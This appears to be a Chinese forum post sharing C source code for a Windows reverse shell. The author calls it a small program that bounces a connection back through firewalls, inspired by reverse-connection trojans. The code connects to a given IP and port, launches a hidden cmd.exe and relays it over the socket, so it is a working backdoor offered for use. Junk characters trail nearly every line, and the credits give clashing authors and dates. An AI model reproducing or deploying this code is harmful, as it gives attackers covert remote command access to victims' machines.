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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Vm|Y$ C  
F5 ]C{  
/* ============================== Z-B%'/.  
Rebound port in Windows NT v*qQ? S  
By wind,2006/7 <uc1D/~^:  
===============================*/ 2EK%N'H  
#include $ A9%UhV  
#include @YH+c G|  
nWvuaQ0}  
#pragma comment(lib,"wsock32.lib") V&|!RxWK  
IB`>'~s&A  
void OutputShell(); "aFhkPdWn  
SOCKET sClient; LsM7hLy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F>X-w+b4r  
5&f{1M6l>  
void main(int argc,char **argv) +~ #U7xgq/  
{ R+~cl;#G6  
WSADATA stWsaData; Fbp{,V@F2  
int nRet; 07/L}b`P  
SOCKADDR_IN stSaiClient,stSaiServer; Y=T'WNaL)0  
ZK'-U,Y.H7  
if(argc != 3) 0iZGPe~  
{ kpI{KISQu  
printf("Useage:\n\rRebound DestIP DestPort\n"); \M"UmSB o  
return; 4W#E`9 6u  
} 6ITLGA  
*E~VKx1  
WSAStartup(MAKEWORD(2,2),&stWsaData); s ncIqsZ  
jkF8\dR  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cFagz* !  
TbehR:B5g  
stSaiClient.sin_family = AF_INET; P(>(K{v  
stSaiClient.sin_port = htons(0); iHp\o=#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z.wA@ ~e  
M@thI%lR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !4rPv\   
{ K$ v"Uk  
printf("Bind Socket Failed!\n"); vLO&Lpv  
return; rz(0:vxwA  
} ?v-1zCls  
;p ]y)3  
stSaiServer.sin_family = AF_INET; w&BGJYI  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E&B{5/rv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); to6;?uC+|i  
SjdZyJa  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F.)!3YE  
{ d3]hyTqbtm  
printf("Connect Error!"); ~^vC,]hU  
return; -K[782Q  
} p[2GkP  
OutputShell(); jvVi%k  
} b8f+,2Tk  
!eJCM`cp  
void OutputShell() ,5|d3dJS  
{ #' hLb  
char szBuff[1024]; F8+e,x  
SECURITY_ATTRIBUTES stSecurityAttributes; s^T+5 E&}  
OSVERSIONINFO stOsversionInfo; jvzBh-!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; * \HRw +cL  
STARTUPINFO stStartupInfo; ;:m&#YJV  
char *szShell; [k]|Qi nk  
PROCESS_INFORMATION stProcessInformation; nVD Xj  
unsigned long lBytesRead; Yn9j-`  
vRPS4@9'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }xFi& <  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RH~3M0'0  
stSecurityAttributes.lpSecurityDescriptor = 0; r?l;I3~  
stSecurityAttributes.bInheritHandle = TRUE; ,kgF2K!  
)uP[!LV[e  
=w<v3wWN4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1'G8o=~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %q_Miu@  
9YF$CXonE=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7?)/>lx\>$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Y)to/h  
stStartupInfo.wShowWindow = SW_HIDE; (RXS~8  
stStartupInfo.hStdInput = hReadPipe; D*vm cSf  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Pj7gGf6v  
Ak~4|w-  
GetVersionEx(&stOsversionInfo); FyG6 !t%  
0>!/rR7  
switch(stOsversionInfo.dwPlatformId) V)D-pV V  
{ I"xWw/Ec  
case 1: ,f: jioY  
szShell = "command.com"; Q1>zg,r  
break; <E':[.zC  
default: J  fcMca  
szShell = "cmd.exe"; T`$KeuL  
break; v\ZBv zd  
} i=v]:TOu  
fY2wDD  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |ZU#IQVQfn  
|t\|:E>" }  
send(sClient,szMsg,77,0); uC~g#[I QM  
while(1) z^s ST  
{ Xy#V Q{!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JZ`L%  
if(lBytesRead) N_C_O$j  
{ xKp0r1}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |0{ i9 .=  
send(sClient,szBuff,lBytesRead,0); Kla:e[{  
} um8AdiK  
else ^{[`=P'/  
{ U  5`y  
lBytesRead=recv(sClient,szBuff,1024,0); @~jxG%y86  
if(lBytesRead<=0) break; zj]b&In6;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )LswSV  
} ~Sy-ga J  
} I{dl%z73  
gw Qvao  
return; ma}}Sn)Q  
}
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